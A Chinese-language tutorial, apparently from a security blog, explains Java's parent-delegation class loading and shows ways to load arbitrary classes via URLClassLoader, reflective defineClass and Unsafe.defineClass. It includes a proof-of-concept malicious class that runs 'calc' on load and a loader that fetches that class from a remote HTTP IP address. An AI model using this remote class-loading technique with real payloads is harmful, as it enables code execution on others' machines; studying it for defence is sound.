编程语言加载任意的类-java
xiu强烈推荐视频
1
| https://www.bilibili.com/video/BV16h411z7o9?p=4&vd_source=b2266581304ec9fed75badf10a27c9dd
|
双亲委派
ClassLoader(类加载器)
Java源代码被编译器编译成**.class**的字节码文件。然后由我们得ClassLoader负责将这些class文件给加载到JVM中去执行
Bootstrap classLoader:主要负责加载核心的类库(java.lang.*等),构造ExtClassLoader和APPClassLoader。
ExtClassLoader:主要负责加载jre/lib/ext目录下的一些扩展的jar。
AppClassLoader:主要负责加载应用程序的主函数类

原理
当一个Hello.class这样的文件要被加载时。不考虑我们自定义类加载器,首先会在AppClassLoader中检查是否加载过,如果有那就无需再加载了。如果没有,那么会拿到父加载器,然后调用父加载器的loadClass方法。父类中同理也会先检查自己是否已经加载过,如果没有再往上。注意这个类似递归的过程,直到到达Bootstrap classLoader之前,都是在检查是否加载过,并不会选择自己去加载。直到BootstrapClassLoader,已经没有父加载器了,这时候开始考虑自己是否能加载了,如果自己无法加载,会下沉到子加载器去加载,一直到最底层,如果没有任何加载器能加载,就会抛出ClassNotFoundException
为什么
防止用户自定义系统级别的类导致jvm运行出错,双亲委派机制保证了java自己的核心类库的稳定,简单来说我在自己项目下写一个Runtime是不会影响真正的Runtime的使用,因为加载器不会加载我们写的类

加载器运行代码分析
加载器加载哪些类是由他们的加载路径决定的



和双亲委派的原理图不一致的是我们的AppClassLoader上面还存在多个继承关系,urlclassloader听名字就是可以传入url来加载我们需要class文件
loadClass–>findClass–>defineClass(从字节码加载类)
URLClassLoader任意类加载
1 2 3 4 5 6 7 8 9
| public class Hello {
static{ System.out.println("Hello"); }
public static void main(String[] args) { } }
|

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| import java.net.MalformedURLException; import java.net.URL; import java.net.URLClassLoader;
public class Test01 {
public static void main(String[] args) throws ClassNotFoundException, MalformedURLException, InstantiationException, IllegalAccessException {
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("file:///c:\\xiu\\")}); Class<?> c = urlClassLoader.loadClass("Hello"); c.newInstance();
}
}
|

假如是我们自己写的恶意类的字节码的话
1 2 3 4 5 6 7 8 9 10 11 12 13
| import java.io.IOException;
public class Hello {
static{ try { Runtime.getRuntime().exec("calc"); } catch (IOException e){ e.printStackTrace(); } }
}
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| import java.net.MalformedURLException; import java.net.URL; import java.net.URLClassLoader;
public class Test01 {
public static void main(String[] args) throws ClassNotFoundException, MalformedURLException, InstantiationException, IllegalAccessException {
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://119.3.229.83/")}); Class<?> c = urlClassLoader.loadClass("Hello"); c.newInstance();
} }
|

jar包也可以使用此方法加载
ClassLoader.defineClass任意类加载
私有方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| import java.io.IOException; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.nio.file.Files; import java.nio.file.Paths;
public class Test01 {
public static void main(String[] args) throws NoSuchMethodException, IOException, InvocationTargetException, IllegalAccessException, InstantiationException {
ClassLoader cl = ClassLoader.getSystemClassLoader();
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class); defineClass.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("C:\\xiu\\Hello.class")); Class c = (Class) defineClass.invoke(cl, "Hello", code, 0, code.length); c.newInstance();
}
}
|

Unsafe.defineClass任意类加载
spring可以直接生成这个私有类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| import sun.misc.Unsafe;
import java.io.IOException; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.nio.file.Files; import java.nio.file.Paths;
public class Test01 {
public static void main(String[] args) throws NoSuchMethodException, IOException, InvocationTargetException, IllegalAccessException, InstantiationException, NoSuchFieldException {
ClassLoader cl = ClassLoader.getSystemClassLoader();
Class c = Unsafe.class; Field theUnsafeFiled = c.getDeclaredField("theUnsafe"); theUnsafeFiled.setAccessible(true); Unsafe uns = (Unsafe) theUnsafeFiled.get(null); byte[] code = Files.readAllBytes(Paths.get("C:\\xiu\\Hello.class")); Class c2 = (Class) uns.defineClass("Hello", code, 0, code.length, cl, null); c2.newInstance(); } }
|